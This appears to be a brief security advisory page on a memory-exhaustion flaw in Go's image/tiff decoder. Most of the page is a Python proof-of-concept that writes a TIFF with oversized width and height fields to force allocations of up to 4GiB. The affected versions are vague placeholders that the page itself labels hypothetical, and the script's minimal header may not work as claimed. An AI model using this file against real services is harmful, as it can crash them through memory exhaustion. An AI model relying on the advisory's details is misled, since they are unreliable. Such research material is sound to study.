A maliciously crafted TIFF file can cause image decoding to attempt to allocate up 4GiB of memory, causing either excessive resource consumption or an out-of-memory error.
Go (image/tiff package) < 1.23.x (Hypothetical based on CVE-2026)
Go (image/tiff package) < 1.22.x (Hypothetical based on CVE-2026)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct
# Generate a malicious TIFF file to trigger excessive memory allocation
# This script creates a TIFF header with extremely large dimensions
def generate_malicious_tiff(filename):
with open(filename, "wb") as f:
# TIFF Header: Little Endian (II), Magic Number (42), Offset to first IFD (8)
f.write(b"II\x2a\x00\x08\x00\x00\x00")
# Number of Directory Entries (2)
f.write(struct.pack("<H", 2))
# Entry 1: ImageWidth (Tag 256), Type LONG (4), Count 1
# Set width to a very large value to trigger allocation
f.write(struct.pack("<HHII", 256, 4, 1, 0x7FFFFFFF))
# Entry 2: ImageLength (Tag 257), Type LONG (4), Count 1
# Set height to a very large value
f.write(struct.pack("<HHII", 257, 4, 1, 0x7FFFFFFF))
# Next IFD Offset (0 = end of linked list)
f.write(b"\x00\x00\x00\x00")
print(f"[+] Malicious TIFF file generated: {filename}")
print(f"[+] Attempting to decode this file may cause OOM.")
if __name__ == "__main__":
generate_malicious_tiff("exploit.tiff")